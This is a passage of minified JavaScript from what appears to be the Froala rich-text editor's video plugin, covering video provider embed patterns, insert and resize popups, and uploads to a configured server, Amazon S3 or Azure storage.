src="{url}&wmode=opaque&rel=0" frameborder="0" allowfullscreen></iframe>',provider:"youtube"},{test_regex:/^.*(?:vimeo.com)\/(?:channels(\/\w+\/)?|groups\/*\/videos\/\u200b\d+\/|video\/|)(\d+)(?:$|\/|\?)/,url_regex:/(?:https?:\/\/)?(?:www\.|player\.)?vimeo.com\/(?:channels\/(?:\w+\/)?|groups\/(?:[^\/]*)\/videos\/|album\/(?:\d+)\/video\/|video\/|)(\d+)(?:[a-zA-Z0-9_\-]+)?(\/[a-zA-Z0-9_\-]+)?/i,url_text:"https://player.vimeo.com/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vimeo"},{test_regex:/^.+(dailymotion.com|dai.ly)\/(video|hub)?\/?([^_]+)[^#]*(#video=([^_&]+))?/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:dailymotion\.com|dai\.ly)\/(?:video|hub)?\/?(.+)/g,url_text:"https://www.dailymotion.com/embed/video/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"dailymotion"},{test_regex:/^.+(screen.yahoo.com)\/[^_&]+/,url_regex:"",url_text:"",html:'<iframe width="640" height="360" src="{url}?format=embed" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" allowtransparency="true"></iframe>',provider:"yahoo"},{test_regex:/^.+(rutube.ru)\/[^_&]+/,url_regex:/(?:https?:\/\/)?(?:www\.)?(?:rutube\.ru)\/(?:video)?\/?(.+)/g,url_text:"https://rutube.ru/play/embed/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen="true" mozallowfullscreen="true" webkitallowfullscreen="true" allowtransparency="true"></iframe>',provider:"rutube"},{test_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/,url_regex:/^(?:.+)vidyard.com\/(?:watch)?\/?([^.&/]+)\/?(?:[^_.&]+)?/g,url_text:"https://play.vidyard.com/$1",html:'<iframe width="640" height="360" src="{url}" frameborder="0" allowfullscreen></iframe>',provider:"vidyard"}],we.VIDEO_EMBED_REGEX=/^\W*((<iframe(.|\n)*>(\s|\n)*<\/iframe>)|(<embed(.|\n)*>))\W*$/i,we.PLUGINS.video=function(w){var s,f,p,E,i,o,A=w.$,C="https://i.froala.com/upload",c=2,v=3,u=4,S=5,U=6,a={};function g(){var e=w.popups.get("video.insert");e.find(".fr-video-by-url-layer input").val("").trigger("change");var t=e.find(".fr-video-embed-layer textarea");t.val("").trigger("change"),(t=e.find(".fr-video-upload-layer input")).val("").trigger("change")}function r(){var e=w.popups.get("video.edit");if(e||(e=function n(){var e="";if(0<w.opts.videoEditButtons.length){w.opts.videoResponsive&&(-1<w.opts.videoEditButtons.indexOf("videoSize")&&w.opts.videoEditButtons.splice(w.opts.videoEditButtons.indexOf("videoSize"),1),-1<w.opts.videoEditButtons.indexOf("videoDisplay")&&w.opts.videoEditButtons.splice(w.opts.videoEditButtons.indexOf("videoDisplay"),1),-1<w.opts.videoEditButtons.indexOf("videoAlign")&&w.opts.videoEditButtons.splice(w.opts.videoEditButtons.indexOf("videoAlign"),1));var t={buttons:e+='<div class="fr-buttons"> \n '.concat(w.button.buildList(w.opts.videoEditButtons)," \n </div>")},o=w.popups.create("video.edit",t);return w.events.$on(w.$wp,"scroll.video-edit",function(){E&&w.popups.isVisible("video.edit")&&(w.events.disableBlur(),l(E))}),o}return!1}()),e){w.popups.setContainer("video.edit",w.$sc),w.popups.refresh("video.edit");var t=E.find("iframe, embed, ".concat(E.find("iframe, embed, audio").get(0)?"audio":"video")),o=t.offset().left+t.outerWidth()/2,i=t.offset().top+t.outerHeight(),a=t.get(0).src?t.get(0).src:t.get(0).currentSrc,r=!(!(a=(a=a.split("."))[a.length-1]).includes("pdf")&&!a.includes("txt"));t.hasClass("fr-file")||r||E.find("audio").get(0)?(document.getElementById("autoplay-".concat(w.id))&&(document.getElementById("autoplay-".concat(w.id)).style.display="none"),document.getElementById("videoReplace-".concat(w.id))&&(document.getElementById("videoReplace-".concat(w.id)).style.display="none")):(document.getElementById("autoplay-".concat(w.id))&&(document.getElementById("autoplay-".concat(w.id)).style.display=""),document.getElementById("videoReplace-".concat(w.id))&&(document.getElementById("videoReplace-".concat(w.id)).style.display="")),w.popups.show("video.edit",o,i,t.outerHeight(),!0)}}function n(e){if(e)return w.popups.onRefresh("video.insert",g),w.popups.onHide("video.insert",J),!0;var t="";w.opts.videoUpload||-1===w.opts.videoInsertButtons.indexOf("videoUpload")||w.opts.videoInsertButtons.splice(w.opts.videoInsertButtons.indexOf("videoUpload"),1);var o=w.button.buildList(w.opts.videoInsertButtons);""!==o&&(t='<div class="fr-buttons">'+o+"</div>");var i,a="",r=w.opts.videoInsertButtons.indexOf("videoUpload"),n=w.opts.videoInsertButtons.indexOf("videoByURL"),s=w.opts.videoInsertButtons.indexOf("videoEmbed");if(0<=n){i=" fr-active",(r<n&&0<=r||s<n&&0<=s)&&(i="");a='<div class="fr-video-by-url-layer fr-layer'.concat(i,'" id="fr-video-by-url-layer-').concat(w.id,'"><div class="fr-input-line"><input id="fr-video-by-url-layer-text-').concat(w.id,'" type="text" placeholder="').concat(w.language.translate("Paste in a video URL"),'" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><span style=\'float:left\'><div class="fr-checkbox-line fr-autoplay-margin"><span class="fr-checkbox"> <input id=\'videoPluginAutoplay\' data-checked="_blank" type="checkbox"> <span>').concat('<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="10" height="10" viewBox="0 0 32 32"><path d="M27 4l-15 15-7-7-5 5 12 12 20-20z" fill="#FFF"></path></svg>','</span></span> <label id="fr-label-target-').concat(w.id,'">Autoplay</label></div> </span><button type="button" class="fr-command fr-submit" data-cmd="videoInsertByURL" tabIndex="2" role="button">').concat(w.language.translate("Insert"),"</button></div></div>")}var d="";0<=s&&(i=" fr-active",(r<s&&0<=r||n<s&&0<=n)&&(i=""),d='<div class="fr-video-embed-layer fr-layer'.concat(i,'" id="fr-video-embed-layer-').concat(w.id,'"><div class="fr-input-line"><textarea id="fr-video-embed-layer-text').concat(w.id,'" type="text" placeholder="').concat(w.language.translate("Embedded Code"),'" tabIndex="1" aria-required="true" rows="5"></textarea></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="videoInsertEmbed" tabIndex="2" role="button">').concat(w.language.translate("Insert"),"</button></div></div>"));var l="";0<=r&&(i=" fr-active",(s<r&&0<=s||n<r&&0<=n)&&(i=""),l='<div class="fr-video-upload-layer fr-layer'.concat(i,'" id="fr-video-upload-layer-').concat(w.id,'"><strong>').concat(w.language.translate("Drop video"),"</strong><br>(").concat(w.language.translate("or click"),')<div class="fr-form"><input type="file" accept="video/').concat(w.opts.videoAllowedTypes.join(", video/").toLowerCase(),'" tabIndex="-1" aria-labelledby="fr-video-upload-layer-').concat(w.id,'" role="button"></div></div>'));var f={buttons:t,by_url_layer:a,embed_layer:d,upload_layer:l,progress_bar:'<div class="fr-video-progress-bar-layer fr-layer"><h3 tabIndex="-1" class="fr-message">Uploading</h3><div class="fr-loader"><span class="fr-progress"></span></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-dismiss" data-cmd="videoDismissError" tabIndex="2" role="button">OK</button></div></div>'},p=w.popups.create("video.insert",f);return function c(i){w.events.$on(i,"dragover dragenter",".fr-video-upload-layer",function(){return A(this).addClass("fr-drop"),!1},!0),w.events.$on(i,"dragleave dragend",".fr-video-upload-layer",function(){return A(this).removeClass("fr-drop"),!1},!0),w.events.$on(i,"drop",".fr-video-upload-layer",function(e){e.preventDefault(),e.stopPropagation(),A(this).removeClass("fr-drop");var t=e.originalEvent.dataTransfer;if(t&&t.files){var o=i.data("instance")||w;o.events.disableBlur(),o.video.upload(t.files),o.events.enableBlur()}},!0),w.helpers.isIOS()&&w.events.$on(i,"touchstart",'.fr-video-upload-layer input[type="file"]',function(){A(this).trigger("click")},!0);w.events.$on(i,"change",'.fr-video-upload-layer input[type="file"]',function(){if(this.files){var e=i.data("instance")||w;e.events.disableBlur(),i.find("input:focus").blur(),e.events.enableBlur(),e.video.upload(this.files)}A(this).val("")},!0)}(p),p}function h(e){w.events.focus(!0),w.selection.restore();var t=!1;if(E&&(q(),t=!0),w.opts.trackChangesEnabled){w.edit.on(),w.events.focus(!0),w.selection.restore(),w.undo.saveStep(),w.markers.insert(),w.html.wrap();var o=w.$el.find(".fr-marker");w.node.isLastSibling(o)&&o.parent().hasClass("fr-deletable")&&o.insertAfter(o.parent()),o.replaceWith('<span contenteditable="false" draggable="true" class="fr-jiv fr-video fr-deletable">'.concat(e,"</span>")),w.selection.clear()}else w.html.insert('<span contenteditable="false" draggable="true" class="fr-jiv fr-video fr-deletable">'.concat(e,"</span>"),!1,w.opts.videoSplitHTML);w.popups.hide("video.insert");var i=w.$el.find(".fr-jiv");i.removeClass("fr-jiv"),i.toggleClass("fr-rv",w.opts.videoResponsive),Z(i,w.opts.videoDefaultDisplay,w.opts.videoDefaultAlign),i.toggleClass("fr-draggable",w.opts.videoMove),w.events.trigger(t?"video.replaced":"video.inserted",[i])}function m(){var e=A(this);w.popups.hide("video.insert"),e.removeClass("fr-uploading"),e.parent().next().is("br")&&e.parent().next().remove(),l(e.parent()),w.events.trigger("video.loaded",[e.parent()])}function x(s,e,d,l,f,p){w.edit.off(),b("Loading video"),e&&(s=w.helpers.sanitizeURL(s));var c=function c(){var e,t;if(l){w.undo.canDo()||l.find("video").hasClass("fr-uploading")||w.undo.saveStep();var o=l.find("video").data("fr-old-src"),i=l.data("fr-replaced");if(l.data("fr-replaced",!1),0<l.find("iframe").length)l.remove(),e=I(s,d,m);else{w.$wp?((e=l.clone(!0)).find("video").removeData("fr-old-src").removeClass("fr-uploading"),e.find("video").off("canplay"),o&&l.find("video").attr("src",o),l.replaceWith(e)):e=l;for(var a=e.find("video").get(0).attributes,r=0;r<a.length;r++){var n=a[r];0===n.nodeName.indexOf("data-")&&e.find("video").removeAttr(n.nodeName)}if(void 0!==d)for(t in d)d.hasOwnProperty(t)&&"link"!=t&&e.find("video").attr("data-".concat(t),d[t]);e.find("video").on("canplay",m),e.find("video").attr("src",s)}w.edit.on(),O(),w.undo.saveStep(),w.$el.blur(),w.events.trigger(i?"video.replaced":"video.inserted",[e,f])}else e=I(s,d,m,p),O(),w.undo.saveStep(),w.events.trigger("video.inserted",[e,f])};R("Loading video"),c()}function R(e){var t=w.popups.get("video.insert");if(t||(t=n()),t.find(".fr-layer.fr-active").removeClass("fr-active").addClass("fr-pactive"),t.find(".fr-video-progress-bar-layer").addClass("fr-active"),t.find(".fr-buttons").hide(),E){var o=E.find("iframe, embed, ".concat(E.find("iframe, embed, audio").get(0)?"audio":"video"));w.popups.setContainer("video.insert",w.$sc);var i=o.offset().left,a=o.offset().top+o.height();w.popups.show("video.insert",i,a,o.outerHeight())}void 0===e&&b(w.language.translate("Uploading"),0)}function d(e){var t=w.popups.get("video.insert");if(t&&(t.find(".fr-layer.fr-pactive").addClass("fr-active").removeClass("fr-pactive"),t.find(".fr-video-progress-bar-layer").removeClass("fr-active"),t.find(".fr-buttons").show(),e||w.$el.find("video.fr-error").length)){if(w.events.focus(),w.$el.find("video.fr-error").length&&(w.$el.find("video.fr-error").parent().remove(),w.undo.saveStep(),w.undo.run(),w.undo.dropRedo()),!w.$wp&&E){var o=E;V(!0),w.selection.setAfter(o.find("video").get(0)),w.selection.restore()}w.popups.hide("video.insert")}}function b(e,t){var o=w.popups.get("video.insert");if(o){var i=o.find(".fr-video-progress-bar-layer");i.find("h3").text(e+(t?" ".concat(t,"%"):"")),i.removeClass("fr-error"),t?(i.find("div").removeClass("fr-indeterminate"),i.find("div > span").css("width","".concat(t,"%"))):i.find("div").addClass("fr-indeterminate")}}function y(e){R();var t=w.popups.get("video.insert").find(".fr-video-progress-bar-layer");t.addClass("fr-error");var o=t.find("h3");o.text(e),w.events.disableBlur(),o.focus()}function l(e){t.call(e.get(0))}function _(e,t,o){b("Loading video");var i=this.status,a=this.response,r=this.responseXML,n=this.responseText;try{if(w.opts.videoUploadToS3||w.opts.videoUploadToAzure)if(201==i){var s;if(w.opts.videoUploadToAzure){if(!1===w.events.trigger("video.uploadedToAzure",[this.responseURL,o,a],!0))return w.edit.on(),!1;s=t}else s=function l(e){try{var t=A(e).find("Location").text(),o=A(e).find("Key").text();return!1===w.events.trigger("video.uploadedToS3",[t,o,e],!0)?(w.edit.on(),!1):t}catch(i){return F(u,e),!1}}(r);s&&x(s,!1,[],e,a||r)}else F(u,a||r);else if(200<=i&&i<300){var d=function f(e){try{if(!1===w.events.trigger("video.uploaded",[e],!0))return w.edit.on(),!1;var t=JSON.parse(e);return t.link?t:(F(c,e),!1)}catch(o){return F(u,e),!1}}(n);d&&x(d.link,!1,d,e,a||n)}else F(v,a||n)}catch(p){F(u,a||n)}}function B(){F(u,this.response||this.responseText||this.responseXML)}function D(e){if(e.lengthComputable){var t=e.loaded/e.total*100|0;b(w.language.translate("Uploading"),t)}}function k(){w.edit.on(),d(!0)}function I(e,t,o,i){var a,r,n="";if(t&&void 0!==t)for(a in t)t.hasOwnProperty(a)&&"link"!=a&&(n+=" ".concat(a,'="').concat(t[a],'"'));var s=w.opts.videoDefaultWidth;s&&"auto"!=s&&(s="".concat(s,"px")),w.helpers.isMobile()&&w.browser.safari&&(n+=" autoplay playsinline"),(r="audio"==i?A(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+w.opts.videoDefaultDisplay[0]+("center"!=w.opts.videoDefaultAlign?" fr-fv"+w.opts.videoDefaultAlign[0]:"")).html('<audio src="'+e+'" '+n+" controls>"+w.language.translate("Your browser does not support HTML5 video.")+"</audio>"):A(document.createElement("span")).attr("contenteditable","false").attr("draggable","true").attr("class","fr-video fr-dv"+w.opts.videoDefaultDisplay[0]+("center"!=w.opts.videoDefaultAlign?" fr-fv"+w.opts.videoDefaultAlign[0]:"")).html('<video src="'+e+'" '+n+(s?' style="width: '+s+';" ':"")+" controls>"+w.language.translate("Your browser does not support HTML5 video.")+"</video>")).toggleClass("fr-draggable",w.opts.videoMove),w.edit.on(),w.events.focus(!0),w.selection.restore(),w.undo.saveStep(),w.opts.videoSplitHTML?w.markers.split():(w.cursor.enter(),w.markers.insert()),w.html.wrap();var d=w.$el.find(".fr-marker");return w.node.isLastSibling(d)&&d.parent().hasClass("fr-deletable")&&d.insertAfter(d.parent()),d.replaceWith(r),w.selection.clear(),"audio"!==i&&(r.find("video").get(0).readyState>r.find("video").get(0).HAVE_FUTURE_DATA||w.helpers.isIOS()?o.call(r.find("video").get(0)):r.find("video").on("canplaythrough load",o)),r}function T(e){if(!w.core.sameInstance(p))return!0;e.preventDefault(),e.stopPropagation();var t=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null),o=e.pageY||(e.originalEvent.touches?e.originalEvent.touches[0].pageY:null);if(!t||!o)return!1;if("mousedown"==e.type){var i=w.$oel.get(0).ownerDocument,a=i.defaultView||i.parentWindow,r=!1;try{r=a.location!=a.parent.location&&!(a.$&&a.$.FE)}catch(n){}r&&a.frameElement&&(t+=w.helpers.getPX(A(a.frameElement).offset().left)+a.frameElement.clientLeft,o=e.clientY+w.helpers.getPX(A(a.frameElement).offset().top)+a.frameElement.clientTop)}w.undo.canDo()||w.undo.saveStep(),(f=A(this)).data("start-x",t),f.data("start-y",o),s.show(),w.popups.hideAll(),Y()}function z(e){if(!w.core.sameInstance(p))return!0;if(f){e.preventDefault();var t=e.pageX||(e.originalEvent.touches?e.originalEvent.touches[0].pageX:null),o=e.pageY||(e.originalEvent.touches?e.originalEvent.touches[0].pageY:null);if(!t||!o)return!1;var i=f.data("start-x"),a=f.data("start-y");f.data("start-x",t),f.data("start-y",o);var r=t-i,n=o-a,s=E.find("iframe, embed, ".concat(E.find("iframe, embed, audio").get(0)?"audio":"video")),d=s.width(),l=s.height();(f.hasClass("fr-hnw")||f.hasClass("fr-hsw"))&&(r=0-r),(f.hasClass("fr-hnw")||f.hasClass("fr-hne"))&&(n=0-n),s.css("width",d+r),s.css("height",l+n),s.removeAttr("width"),s.removeAttr("height"),M()}}function P(e){if(!w.core.sameInstance(p))return!0;f&&E&&(e&&e.stopPropagation(),f=null,s.hide(),M(),r(),w.undo.saveStep())}function $(e){return'<div class="fr-handler fr-h'.concat(e,'"></div>')}function L(e,t,o,i){return e.pageX=t,e.pageY=t,T.call(this,e),e.pageX=e.pageX+o*Math.floor(Math.pow(1.1,i)),e.pageY=e.pageY+o*Math.floor(Math.pow(1.1,i)),z.call(this,e),P.call(this,e),++i}function O(){var e,t=Array.prototype.slice.call(w.el.querySelectorAll("video, .fr-video > *")),o=[];for(e=0;e<t.length;e++)o.push(t[e].getAttribute("src")),A(t[e]).toggleClass("fr-draggable",w.opts.videoMove),""===t[e].getAttribute("class")&&t[e].removeAttribute("class"),""===t[e].getAttribute("style")&&t[e].removeAttribute("style");if(i)for(e=0;e<i.length;e++)o.indexOf(i[e].getAttribute("src"))<0&&w.events.trigger("video.removed",[A(i[e])]);i=t}function M(){p||function n(){var e;if(w.shared.$video_resizer?(p=w.shared.$video_resizer,s=w.shared.$vid_overlay,w.events.on("destroy",function(){A("body").first().append(p.removeClass("fr-active"))},!0)):(w.shared.$video_resizer=A(document.createElement("div")).attr("class","fr-video-resizer"),p=w.shared.$video_resizer,w.events.$on(p,"mousedown",function(e){e.stopPropagation()},!0),w.opts.videoResize&&(p.append($("nw")+$("ne")+$("sw")+$("se")),w.shared.$vid_overlay=A(document.createElement("div")).attr("class","fr-video-overlay"),s=w.shared.$vid_overlay,e=p.get(0).ownerDocument,A(e).find("body").first().append(s))),w.events.on("shared.destroy",function(){p.html("").removeData().remove(),p=null,w.opts.videoResize&&(s.remove(),s=null)},!0),w.helpers.isMobile()||w.events.$on(A(w.o_win),"resize.video",function(){V(!0)}),w.opts.videoResize){e=p.get(0).ownerDocument,w.events.$on(p,w._mousedown,".fr-handler",T),w.events.$on(A(e),w._mousemove,z),w.events.$on(A(e.defaultView||e.parentWindow),w._mouseup,P),w.events.$on(s,"mouseleave",P);var i=1,a=null,r=0;w.events.on("keydown",function(e){if(E){var t=-1!=navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey,o=e.which;(o!==a||200<e.timeStamp-r)&&(i=1),(o==we.KEYCODE.EQUALS||w.browser.mozilla&&o==we.KEYCODE.FF_EQUALS)&&t&&!e.altKey?i=L.call(this,e,1,1,i):(o==we.KEYCODE.HYPHEN||w.browser.mozilla&&o==we.KEYCODE.FF_HYPHEN)&&t&&!e.altKey&&(i=L.call(this,e,2,-1,i)),a=o,r=e.timeStamp}}),w.events.on("keyup",function(){i=1})}}(),(w.$wp||w.$sc).append(p),p.data("instance",w);var e=E.find("iframe, embed, ".concat(E.find("iframe, embed, audio").get(0)?"audio":"video")),t=0,o=0;w.opts.iframe&&(o=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-top")),t=w.helpers.getPX(w.$wp.find(".fr-iframe").css("padding-left"))),p.css("top",(w.opts.iframe?e.offset().top+o-1:e.offset().top-w.$wp.offset().top-1)+w.$wp.scrollTop()).css("left",(w.opts.iframe?e.offset().left+t-1:e.offset().left-w.$wp.offset().left-1)+w.$wp.scrollLeft()).css("width",e.get(0).getBoundingClientRect().width).css("height",e.get(0).getBoundingClientRect().height).addClass("fr-active")}function t(e){if(e&&"touchend"==e.type&&o)return!0;if(e&&w.edit.isDisabled())return e.stopPropagation(),e.preventDefault(),!1;if(w.edit.isDisabled())return!1;for(var t=0;t<we.INSTANCES.length;t++)we.INSTANCES[t]!=w&&we.INSTANCES[t].events.trigger("video.hideResizer");w.toolbar.disable(),w.helpers.isMobile()&&(w.events.disableBlur(),w.$el.blur(),w.events.enableBlur()),w.$el.find(".fr-video.fr-active").removeClass("fr-active"),(E=A(this)).addClass("fr-active"),w.opts.iframe&&w.size.syncIframe(),te(),M(),r(),w.selection.clear(),w.button.bulkRefresh(),w.events.trigger("image.hideResizer")}function V(e){E&&(function t(){return w.shared.vid_exit_flag}()||!0===e)&&(p.removeClass("fr-active"),w.toolbar.enable(),E.removeClass("fr-active"),E=null,Y())}function N(){w.shared.vid_exit_flag=!0}function Y(){w.shared.vid_exit_flag=!1}function H(e){var t=e.originalEvent.dataTransfer;if(t&&t.files&&t.files.length){var o=t.files[0];if(o&&o.type&&-1!==o.type.indexOf("video")){if(!w.opts.videoUpload)return e.preventDefault(),e.stopPropagation(),!1;w.markers.remove(),w.markers.insertAtPoint(e.originalEvent),w.$el.find(".fr-marker").replaceWith(we.MARKERS),w.popups.hideAll();var i=w.popups.get("video.insert");return i||(i=n()),w.popups.setContainer("video.insert",w.$sc),w.popups.show("video.insert",e.originalEvent.pageX,e.originalEvent.pageY),R(),0<=w.opts.videoAllowedTypes.indexOf(o.type.replace(/video\//g,""))?K(t.files):F(U),e.preventDefault(),e.stopPropagation(),!1}}}function K(e){if(void 0!==e&&0<e.length){if(!1===w.events.trigger("video.beforeUpload",[e]))return!1;var t,o=e[0];if(!(null!==w.opts.videoUploadURL&&w.opts.videoUploadURL!=C||w.opts.videoUploadToS3||w.opts.videoUploadToAzure))return function y(i){E&&E.find("iframe")&&E.find("iframe").length&&q();var a=new FileReader;a.onload=function(){a.result;for(var e=atob(a.result.split(",")[1]),t=[],o=0;o<e.length;o++)t.push(e.charCodeAt(o));x(window.URL.createObjectURL(new Blob([new Uint8Array(t)],{type:i.type})),!1,null,E)},R(),a.readAsDataURL(i)}(o),!1;if(o.size>w.opts.videoMaxSize)return F(S),!1;if(w.opts.videoAllowedTypes.indexOf(o.type.replace(/video\//g,""))<0)return F(U),!1;if(w.drag_support.formdata&&(t=w.drag_support.formdata?new FormData:null),t){var i;if(!1!==w.opts.videoUploadToS3)for(i in t.append("key",w.opts.videoUploadToS3.keyStart+(new Date).getTime()+"-"+(o.name||"untitled")),t.append("success_action_status","201"),t.append("X-Requested-With","xhr"),t.append("Content-Type",o.type),w.opts.videoUploadToS3.params)w.opts.videoUploadToS3.params.hasOwnProperty(i)&&t.append(i,w.opts.videoUploadToS3.params[i]);for(i in w.opts.videoUploadParams)w.opts.videoUploadParams.hasOwnProperty(i)&&t.append(i,w.opts.videoUploadParams[i]);t.append(w.opts.videoUploadParam,o);var a,r,n=w.opts.videoUploadURL;w.opts.videoUploadToS3&&(n=w.opts.videoUploadToS3.uploadURL?w.opts.videoUploadToS3.uploadURL:"https://".concat(w.opts.videoUploadToS3.region,".amazonaws.com/").concat(w.opts.videoUploadToS3.bucket));var s=w.opts.videoUploadMethod;w.opts.videoUploadToAzure&&(n=w.opts.videoUploadToAzure.uploadURL?"".concat(w.opts.videoUploadToAzure.uploadURL,"/").concat(o.name):encodeURI("https://".concat(w.opts.videoUploadToAzure.account,".blob.core.windows.net/").concat(w.opts.videoUploadToAzure.container,"/").concat(o.name)),a=n,w.opts.videoUploadToAzure.SASToken&&(n+=w.opts.videoUploadToAzure.SASToken),s="PUT");var d=w.core.getXHR(n,s);if(w.opts.videoUploadToAzure){var l=(new Date).toUTCString();if(!w.opts.videoUploadToAzure.SASToken&&w.opts.videoUploadToAzure.accessKey){var f=w.opts.videoUploadToAzure.account,p=w.opts.videoUploadToAzure.container;if(w.opts.videoUploadToAzure.uploadURL){var c=w.opts.videoUploadToAzure.uploadURL.split("/");p=c.pop(),f=c.pop().split(".")[0]}var v="x-ms-blob-type:BlockBlob\nx-ms-date:".concat(l,"\nx-ms-version:2019-07-07"),u=encodeURI("/"+f+"/"+p+"/"+o.name),g=s+"\n\n\n"+o.size+"\n\n"+o.type+"\n\n\n\n\n\n\n"+v+"\n"+u,h=w.cryptoJSPlugin.cryptoJS.HmacSHA256(g,w.cryptoJSPlugin.cryptoJS.enc.Base64.parse(w.opts.videoUploadToAzure.accessKey)).toString(w.cryptoJSPlugin.cryptoJS.enc.Base64),m="SharedKey "+f+":"+h;r=h,d.setRequestHeader("Authorization",m)}for(i in d.setRequestHeader("x-ms-version","2019-07-07"),d.setRequestHeader("x-ms-date",l),d.setRequestHeader("Content-Type",o.type),d.setRequestHeader("x-ms-blob-type","BlockBlob"),w.opts.videoUploadParams)w.opts.videoUploadParams.hasOwnProperty(i)&&d.setRequestHeader(i,w.opts.videoUploadParams[i]);for(i in w.opts.videoUploadToAzure.params)w.opts.videoUploadToAzure.params.hasOwnProperty(i)&&d.setRequestHeader(i,w.opts.videoUploadToAzure.params[i])}d.onload=function(){_.call(d,E,a,r)},d.onerror=B,d.upload.onprogress=D,d.onabort=k,R(),w.events.disableBlur(),w.edit.off(),w.events.enableBlur();var b=w.popups.get("video.insert");b&&A(b.off("abortUpload")).on("abortUpload",function(){4!=d.readyState&&d.abort()}),d.send(w.opts.videoUploadToAzure?o:t)}}}function F(e,t){w.edit.on(),E&&E.find("video").addClass("fr-error"),y(w.language.translate("Something went wrong. Please try again.")),w.events.trigger("video.error",[{code:e,message:a[e]},t])}function X(){if(E){var e=w.popups.get("video.size"),t=E.find("iframe, embed, ".concat(E.find("iframe, embed, audio").get(0)?"audio":"video"));e.find('input[name="width"]').val(t.get(0).style.width||t.attr("width")).trigger("change"),e.find('input[name="height"]').val(t.get(0).style.height||t.attr("height")).trigger("change")}}function G(e){if(e)return w.popups.onRefresh("video.size",X),!0;var t={buttons:'<div class="fr-buttons fr-tabs">'.concat(w.button.buildList(w.opts.videoSizeButtons),"</div>"),size_layer:'<div class="fr-video-size-layer fr-layer fr-active" id="fr-video-size-layer-'.concat(w.id,'"><div class="fr-video-group"><div class="fr-input-line"><input id="fr-video-size-layer-width-').concat(w.id,'" type="text" name="width" placeholder="').concat(w.language.translate("Width"),'" tabIndex="1"></div><div class="fr-input-line"><input id="fr-video-size-layer-height-').concat(w.id,'" type="text" name="height" placeholder="').concat(w.language.translate("Height"),'" tabIndex="1"></div></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="videoSetSize" tabIndex="2" role="button">').concat(w.language.translate("Update"),"</button></div></div>")},o=w.popups.create("video.size",t);return w.events.$on(w.$wp,"scroll",function(){E&&w.popups.isVisible("video.size")&&(w.events.disableBlur(),l(E))}),o}function j(e){if(void 0===e&&(e=E),e){if(e.hasClass("fr-fvl"))return"left";if(e.hasClass("fr-fvr"))return"right";if(e.hasClass("fr-dvb")||e.hasClass("fr-dvi"))return"center";if("block"==e.css("display")){if("left"==e.css("text-algin"))return"left";if("right"==e.css("text-align"))return"right"}else{if("left"==e.css("float"))return"left";if("right"==e.css("float"))return"right"}}return"center"}function W(e){void 0===e&&(e=E);var t=e.css("float");return e.css("float","none"),"block"==e.css("display")?(e.css("float",""),e.css("float")!=t&&e.css("float",t),"block"):(e.css("float",""),e.css("float")!=t&&e.css("float",t),"inline")}function q(){if(E&&!1!==w.events.trigger("video.beforeRemove",[E])){var e=E;if(w.popups.hideAll(),V(!0),w.opts.trackChangesEnabled&&(!e[0].parentNode||"SPAN"!==e[0].parentNode.tagName||!e[0].parentNode.hasAttribute("data-tracking")))return void w.track_changes.removeSpecialItem(e);w.selection.setBefore(e.get(0))||w.selection.setAfter(e.get(0)),e.remove(),w.selection.restore(),w.html.fillEmptyBlocks()}}function J(){d()}function Z(e,t,o){!w.opts.htmlUntouched&&w.opts.useClasses?(e.removeClass("fr-fvl fr-fvr fr-dvb fr-dvi"),e.addClass("fr-fv".concat(o[0]," fr-dv").concat(t[0]))):"inline"==t?(e.css({display:"inline-block"}),"center"==o?e.css({"float":"none"}):"left"==o?e.css({"float":"left"}):e.css({"float":"right"})):(e.css({display:"block",clear:"both"}),"left"==o?e.css({textAlign:"left"}):"right"==o?e.css({textAlign:"right"}):e.css({textAlign:"center"}))}function Q(){var e=w.$el.find("video").filter(function(){return 0===A(this).parents("span.fr-video").length});if(0!=e.length){e.wrap(A(document.createElement("span")).attr("class","fr-video fr-deletable").attr("contenteditable","false")),w.$el.find("embed, iframe").filter(function(){if(w.browser.safari&&this.getAttribute("src")&&this.setAttribute("src",this.src),0<A(this).parents("span.fr-video").length)return!1;for(var e=A(this).attr("src"),t=0;t<we.VIDEO_PROVIDERS.length;t++){var o=we.VIDEO_PROVIDERS[t];if(o.test_regex.test(e)&&new RegExp(w.opts.videoAllowedProviders.join("|")).test(o.provider))return!0}return!1}).map(function(){return 0===A(this).parents("object").length?this:A(this).parents("object").get(0)}).wrap(A(document.createElement("span")).attr("class","fr-video").attr("contenteditable","false"));for(var t,o,i,a,r=w.$el.find("span.fr-video, video"),n=0;n<r.length;n++){var s=A(r[n]);!w.opts.htmlUntouched&&w.opts.useClasses?((a=s).hasClass("fr-dvi")||a.hasClass("fr-dvb")||(a.addClass("fr-fv".concat(j(a)[0])),a.addClass("fr-dv".concat(W(a)[0]))),w.opts.videoTextNear||s.removeClass("fr-dvi").addClass("fr-dvb")):w.opts.htmlUntouched||w.opts.useClasses||(void 0,o=(t=s).hasClass("fr-dvb")?"block":t.hasClass("fr-dvi")?"inline":null,i=t.hasClass("fr-fvl")?"left":t.hasClass("fr-fvr")?"right":j(t),Z(t,o,i),t.removeClass("fr-dvb fr-dvi fr-fvr fr-fvl"))}r.toggleClass("fr-draggable",w.opts.videoMove)}}function ee(e){document.getElementById("autoplay-".concat(w.id)).style.cssText="background:".concat(e)}function te(){if(E){w.selection.clear();var e=w.doc.createRange();e.selectNode(E.get(0)),w.selection.get().addRange(e)}}return a[1]="Video cannot be loaded from the passed link.",a[c]="No link in upload response.",a[v]="Error during file upload.",a[u]="Parsing response failed.",a[S]="File is too large.",a[U]="Video file type is invalid.",a[7]="Files can be uploaded only to same domain in IE 